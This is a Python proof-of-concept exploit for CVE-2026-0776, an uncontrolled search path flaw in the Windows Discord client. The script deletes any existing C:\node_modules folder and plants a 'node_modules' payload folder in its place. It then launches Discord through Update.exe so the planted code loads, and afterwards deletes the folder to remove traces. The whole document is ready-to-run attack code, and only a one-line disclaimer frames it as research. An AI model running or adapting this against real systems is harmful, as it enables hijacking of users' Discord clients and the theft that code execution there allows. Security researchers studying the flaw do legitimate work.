# CVE-2026-0776 - Discord Client Uncontrolled Search Path Element
# Author: 0x18F
# Date: 2026-06-10
# Affected Version: 1.0.9196
# CWE-427: Uncontrolled Search Path Element
#
# PoC for CVE-2026-0776.
# Discovery Credit: Trend Micro Zero Day Initiative (ZDI-CAN-27057)
# Reference: https://www.cve.org/CVERecord?id=CVE-2026-0776
#
# For educational and security research purposes only.

import os
import shutil
import subprocess
import time
from pathlib import Path

DESTINATION_FOLDER = Path(r"C:\node_modules")

current_dir = Path(__file__).resolve().parent
source_folder = current_dir / "node_modules"

local_appdata = os.environ.get("LOCALAPPDATA")
if not local_appdata:
    raise EnvironmentError("LOCALAPPDATA not found")

discord_update = Path(local_appdata) / "Discord" / "Update.exe"

print(f"[+] Source      : {source_folder}")
print(f"[+] Destination : {DESTINATION_FOLDER}")
print(f"[+] Discord Binary : {discord_update}")

try:
    if not source_folder.exists():
        raise FileNotFoundError(f"Source folder not found: {source_folder}")

    if DESTINATION_FOLDER.exists():
        print(f"[!] Existing folder detected: {DESTINATION_FOLDER}")
        print(f"[+] Removing: {DESTINATION_FOLDER.name}")
        shutil.rmtree(DESTINATION_FOLDER)
        print(f"[+] Removed: {DESTINATION_FOLDER.name}")

    print("[+] Deploying node_modules payload...")
    shutil.copytree(source_folder, DESTINATION_FOLDER)
    print("[+] Deployment completed")

    if not discord_update.exists():
        raise FileNotFoundError(f"Discord Update.exe not found: {discord_update}")

    print("[+] Launching Discord process...")

    subprocess.Popen([
        str(discord_update),
        "--processStart",
        "Discord.exe"
    ])

    print("[+] Discord launched")

    time.sleep(10)

    if DESTINATION_FOLDER.exists():
        print(f"[+] Cleaning up: {DESTINATION_FOLDER}")
        shutil.rmtree(DESTINATION_FOLDER)
        print("[+] Cleanup completed")

except FileNotFoundError as e:
    print(f"[ERROR] Missing file or folder: {e}")

except PermissionError as e:
    print(f"[ERROR] Permission denied: {e}")

except Exception as e:
    print(f"[ERROR] Unexpected failure: {e}")